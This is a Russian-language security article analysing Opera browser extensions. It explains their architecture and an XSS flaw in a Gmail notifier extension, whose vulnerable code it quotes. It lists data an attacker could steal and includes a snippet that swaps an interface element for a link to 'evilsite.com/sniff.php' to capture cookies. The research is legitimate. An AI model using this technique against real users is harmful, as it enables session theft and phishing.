Через расширения браузеров можно провести немало знакомых нам атак. В этом мы убедились в прошлой статье, когда исследовали аддоны Google Chrome. Сегодня на очереди сверхпопулярный в СНГ браузер Opera. Поддержка аддонов в нем появилась недавно, но от этого задача только интереснее!

Чтобы упростить жизнь разработчиков и сделать процесс создания расширений максимально прозрачным и удобным, создатели браузеров предлагают использовать привычные для нас веб-технологии для разработки браузерных аддонов. Это дает эффект: все новые плагины появляются как грибы после дождя. Но у такой простоты есть и обратная сторона медали — возможные риски в безопасности, которые во многом нам уже знакомы в аспекте исследования обычных веб-приложений. Браузер Opera, разработчики которого непростительно долго отказывались от системы расширений, наконец-то обзавелся таким механизмом. Справедливости ради стоит отметить, что к этому моменту в Opera уже была технология виджетов (но многие ли этими виджетами пользуются?) и система пользовательских скриптов. После найденных уязвимостей в аддонах для Chrome мне было крайне интересно пощупать расширения и для Opera. Но для этого пришлось разобраться в структуре этих самых расширений.

 

Аддон изнутри

Расширения в Opera очень похожи на аналогичное решение в Google Chrome. При их создании также используются популярные веб-технологии, такие как HTML, CSS и JavaScript, а сами по себе они базируются на давно используемой при создании виджетов спецификации W3C Widgets specification. Эта архитектура достаточно подробно описана в статье Криса Милса "What’s in an Opera extension?". Нам же для понимания материала хватит знания некоторых основных моментов о структуре аддонов. Обычно расширение в Opera состоит из следующих частей (некоторые из них опциональные):

  • фоновая страница (обычно index.html) и сопутствующие скрипты — это движок расширения;
  • страница всплывающего окна, которое появляется, когда ты кликнешь на кнопке аддона в тулбаре веб-браузера;
  • JavaScript-скрипты и CSS-стили для выполнения в соответствии с определенными правилами в произвольных, посещаемых тобой веб-страницах (например, скрипт, который заменяет все ссылки "mailto:" на соответствующий обработчик твоего любимого почтового сервиса);
  • файл конфигурации confi g.xml (подобно manifest.json в Google Chrome) — в этом файле указывается мета-информация о расширении: название и описание, информация об авторе, политики безопасности и другое;
  • страница настроек аддона — для того чтобы расширение могло сохранять пользовательские настройки.

Эти главные составляющие расширения взаимодействуют между собой посредством специального механизма сообщений:

Внедряемый скрипт <-> Фоновый процесс <-> Кнопка/Бейдж <-> Всплывающее окно

Все эти части, за исключением элемента "Кнопка/Бейдж", имеют доступ к "своему" специальному Opera Extensions API со следующими правилами:

  • Из фоновой страницы доступны объекты window.widget, opera.extension и opera.contexts — в этих рамках можно делать все что угодно, например, создавать элементы пользовательского интерфейса. Но при этом у тебя нет прямого доступа к содержанию открытой пользователем страницы.
  • Внедряемые скрипты имеют полный доступ к содержимому посещаемых пользователем страниц (чтение и модификация) и они могут общаться с другими частями расширения через упомянутый выше механизм сообщений.
  • Страницы всплывающих окон могут общаться с другими частями расширения, работать с настройками аддона и т.д.
 

XSS

При первом же рассмотрении можно увидеть разницу между Opera и Google Chrome в контексте взаимодействия расширения с внешними ресурсами (картинки, формы и т.п.). Возьмем для примера расширение для оповещения о новых письмах Google Mail Notifier. Удивительно, но, как и в подобном расширении для Google Chrome, тут нашлась уязвимость — небезопасное использование входных данных, которое может привести к атакам вида XSS. В нашем случае злоумышленник посылает жертве специальным образом сформированное письмо со зловредной нагрузкой в поле темы или теле письма. Когда жертва получит письмо, а расширение оповестит его об этом, сработает нагрузка.

В силу используемых технологий исходный код расширения, как правило, доступен. Чуть поковырявшись, находим в исследуемом аддоне уязвимый участок кода (js/menu.js):

...
// Check if there are Messages to display
if(event.data.msg && event.data.msg.length > 0)
{

// Add every message
for(var i=0; i < event.data.msg.length; i++)
{
var tooltip = "<div class='tooltip'><p><u>" + lang.popup_to + " " + event.data.msg[i].sendermail + "</u><br/>" + lang.popup_from + " " + event.data.msg[i].authormail + "<br/><br/></p><p>" + event.data.msg[i].summary + "</p>";
var msg = $('<div></div>').addClass('message').attr("title", tooltip).tooltip({left: -15}).html("<strong>" + event.data.msg[i].authorname + "</strong> : " + event.data.msg[i].title). click(
{
link: event.data.msg[i].link
}, LoadLink);
$('#message_box').append(msg);
...

Явно видно, что при формировании списка писем соответствующие параметры письма используются безо всякой обработки и вставляются прямо в HTML-код. Типичное место возможного внедрения зловредного кода в расширениях (в Opera и Google Chrome) — это страница всплывающего окна, которая обычно формируется фоновым скриптом на основе входных данных, которыми могут быть, например, RSS-потоки или информация о непрочитанных электронных письмах. ИМХО, в реальном мире при аудите безопасности расширения этими сценариями не стоит ограничиваться. Вполне вероятным может быть и небезопасное использование так полюбившегося веб-разработчикам формата JSON! Традиционно опасным считается использование в таких случаях функции исполнения JavaScript-кода, то есть eval(), например, вот так:

var msg = eval("(" + response_text + ")");

Вместо того чтобы использовать специальное API для разбора JSON-сообщений:

var msg = JSON.parse(response_text);

В таких случаях зловредная нагрузка может быть исполнена уже в контексте фонового скрипта, что влечет более тяжкие последствия.


Ограниченная XSS в Google Mail Notifier


Обход правил доступа в расширении Google Mail Notifier для посылки полученных данных

 

Потенциальные цели

Одной из самых популярных целей для XSS-атак является похищение аутентификационных данных в виде, например, сессионных кукисов. В настоящий момент разработчики Opera не предусмотрели возможность доступа к основному хранилищу кукисов веб-браузера (как это сделано в Google Chrome), а у каждого расширения — как бы свои собственные кукисы. Но это вполне вероятно скоро может измениться под напором просьб разработчиков расширений. Следующие данные, доступные из расширения, могут быть интересны злоумышленнику при проведении им XSS-атаки:

  • собственно кукисы самого расширения, потому как в большом количестве случаев с социальными расширениями, там хранится все тот же сессионный идентификатор;
  • настройки расширения, доступные через объект widget.preferences — например, там могут быть имя пользователя и пароль, как в случае расширения для работы с популярным сервисом Reddit Envelope;
  • контекстная информация — в нашем примере с Google Notifi er — это данные (адреса, темы и другое) писем жертвы;
  • банальный "фишинг" — даже в ограниченном контексте злоумышленник может использовать рассматриваемую уязвимость для фишинг-атак (см. скрин).


Вариант эксплуатации дырки в виде фишинг-атаки

 

Как передавать данные

Обычно, для того чтобы передать данные со стороны жертвы, злоумышленник использует так называемый снифер. К примеру, просто внедряет с помощью JavaScript картинку с адресом, включающем данные из объекта document.cookie в качестве параметров. В случае с расширением в Opera такой трюк так просто не пройдет в силу политики безопасности, о чем недвусмысленно говорит документация:

Исходя из политики по умолчанию, агент пользователя (например, веб-браузер) должен запрещать доступ к сетевым ресурсам, внешним по отношению к виджету, независимо от того, каким образом этот доступ запрашивается — через API-функции (например, XMLHttpRequest) или через разметку документа (например, с помощью тегов iframe, script, img).

Наше тестируемое расширение имеет следующие правила доступа к внешним ресурсам, прописанные в файле конфигурации:

...
<!-- Access Policy -->
<access origin="https://mail.google.com"/>
<access origin="https://www.google.com"/>
...

Элемент <access> дает возможность авторам расширений явным образом обозначить, с какими внешними ресурсами расширение собирается работать. Это значит, что если, например, расширению требуется даже просто показать картинку с внешнего ресурса, то необходимо это указать в этой опции!

Для демонстрации в тестируемом расширении пришлось использовать логотип Google с хоста www.google.com, который подпадает под эти правила доступа. При этом есть два момента, которые стоит учитывать злоумышленнику в рамках XSS-атаки:

  • автор расширения может указать звездочку (*) в качестве значения "origin" для того, чтобы его расширение имело неограниченный доступ к сетевым ресурсам;
  • атрибут "subdomains" регулирует доступ для субдоменов указанного домена ("привет"-блоги и прочие социальные ресурсы с пользовательскими субдоменами).

Но есть и другой трюк, который мы можем провернуть — можно сделать ссылку или другой интерактивный элемент пользовательского интерфейса с необходимым адресом. Когда жертва кликнет по ссылке и перейдет на сайт злоумышленника, последний получит требуемые данные. Например, в следующем коде показано, как можно заменить произвольный элемент интерфейса, чтобы запутать пользователя и заполучить кукисы:

//...
var a = document.createElement('a');
var d = document.getElementById('open');
a.href = "http://evilsite.com/sniff.php?d=...";
a.id = "foo";
a.innerText = 'Open GMail Tab';
d.parentNode.replaceChild(a, d);

 

Взаимодействие расширений и безопасность

В противовес Google Chrome, Opera не позволяет расширениям явным образом взаимодействовать между собой. У меня было предположение, что внедряемые скрипты, будучи развитием популярной технологии пользовательских скриптов UserJS, все-таки могут взаимодействовать через общий документ, в который они внедряются:

Пользовательские JavaScript-скрипты выполняются в глобальном окружении — это означает, что все объявленное в скрипте будет доступно в рамках веб-страницы. Учитывая это, рекомендуется помещать основной код скрипта в тело анонимной функции для того, чтобы явным образом ограничить доступность данных скрипта в рамках веб-страницы.

Но судя по всему, разработчики Opera решили подкрутить безопасность. У меня не получилось добиться того, чтобы из одного внедренного скрипта прочитать данные (значения переменных) другого, загруженного перед ним в рамках общего DOM. Ни одна попытка не оказалась удачной. Получается, что остается только одна потенциальная возможность навредить из одного расширения другому — подпортить страницу, с которой оба аддона взаимодействуют.

 

Пользовательские скрипты в Opera

Технология пользовательских скриптов (UserJS), про которую ты наверняка уже слышал и даже применял, позволяет пользователю подключать к произвольным страницам, которые он посещает, свои JavaScript-скрипты. Эти скрипты будут исполнены веб-браузером перед загрузкой целевой страницы прямо в ее контексте (это очень важно). Пользовательские скрипты могут быть использованы для разных целей:

  • "вырезание" надоевшей рекламы на любимом ресурсе;
  • добавление произвольного HTML-кода на страницу (например, виджеты социальных сетей);
  • исправление каких-либо мест (которые доставляют неудобства) на странице;
  • для чего угодно в рамках текущего документа и возможностей JavaScript.

Для примера приведу следующий небольшой скрипт, который выделит на странице все ссылки, которые ведут на домен, отличный от текущего:

// ==UserScript==
// @include http://example.com/*
// ==/UserScript==
(function ()
{
var links = document.getElementsByTagName('a');
for(var i = 0; i<links.length; i++)
{
if (links[i].href.indexOf('http://' + document.domain) != 0)
{
links[i].innerText = '[->] ' + links[i].innerText;
}
}
})();

Обрати внимание на необязательную, но весьма полезную шапку скрипта, в которой можно указать описание сценария, а также некоторые параметры (к примеру, для каких доменов его необходимо подключать).

 

Outro

Расширения в Opera имеют очень похожую архитектуру, что и в Google Chrome. Более того, даже уязвимости в них встречаются практически идентичные.

В то же время, в силу изначально закрученных гаек в подсистеме безопасности, либо попросту из-за того, что что-то из критичной функциональности (доступ к кукисам браузера, истории и закладкам) не реализовано, злоумышленнику сложнее эксплуатировать найденные в расширениях Opera уязвимости. Но тут не стоит забывать, что система аддонов этого браузера еще молодая и постоянно изменяется, в том числе под напором просьб разработчиков. Так что кто знает, что и как будет устроено через некоторое время.

 

Links

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

    • Открыть комментарии
    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии